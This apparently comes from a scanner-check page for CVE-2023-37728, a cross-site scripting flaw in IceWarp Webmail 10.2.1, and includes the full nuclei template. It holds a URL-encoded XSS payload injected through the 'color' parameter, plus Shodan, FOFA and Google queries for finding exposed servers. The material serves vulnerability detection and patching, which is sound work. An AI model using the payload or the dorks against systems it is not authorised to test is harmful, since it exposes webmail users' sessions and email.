IceWarp Webmail Server v10.2.1 - Cross Site Scripting

mediumseverity

6.1CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.

Impact

Unauthenticated attackers can inject malicious JavaScript through the color parameter to steal webmail user session cookies and access email communications.

Fix

Update IceWarp to a version newer than 10.2.1 that properly sanitizes the color parameter and encodes output in the webmail interface.

How to confirm it

Send: GET {{BaseURL}}/webmail/?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27 ; GET {{BaseURL}}/?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(header, "IceWarp") || contains(body, "IceWarp WebClient") and contains(body, "<img src onerror=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2023-37728 -u <target>

The full check

id: CVE-2023-37728

info:
  name: IceWarp Webmail Server v10.2.1 - Cross Site Scripting
  author: technicaljunkie,r3Y3r53
  severity: medium
  description: |
    Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the color parameter to steal webmail user session cookies and access email communications.
  remediation: |
    Update IceWarp to a version newer than 10.2.1 that properly sanitizes the color parameter and encodes output in the webmail interface.
  reference:
    - https://medium.com/@ayush.engr29/cve-2023-37728-6dfb7586311
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37728
    - http://icearp.com
    - http://icewarp.com
    - https://medium.com/%40ayush.engr29/cve-2023-37728-6dfb7586311
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-37728
    cwe-id: CWE-79
    epss-score: 0.01173
    epss-percentile: 0.67756
    cpe: cpe:2.3:a:icewarp:icewarp:10.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: icewarp
    product: icewarp
    shodan-query:
      - http.favicon.hash:2144485375
      - http.title:"icewarp"
    fofa-query:
      - title="icewarp"
      - icon_hash=2144485375
    google-query: intitle:"icewarp"
  tags: cve,cve2023,icearp,icewarp,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webmail/?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27"
      - "{{BaseURL}}/?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(header, "IceWarp") || contains(body, "IceWarp WebClient")'
          - 'contains(body, "<img src onerror=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from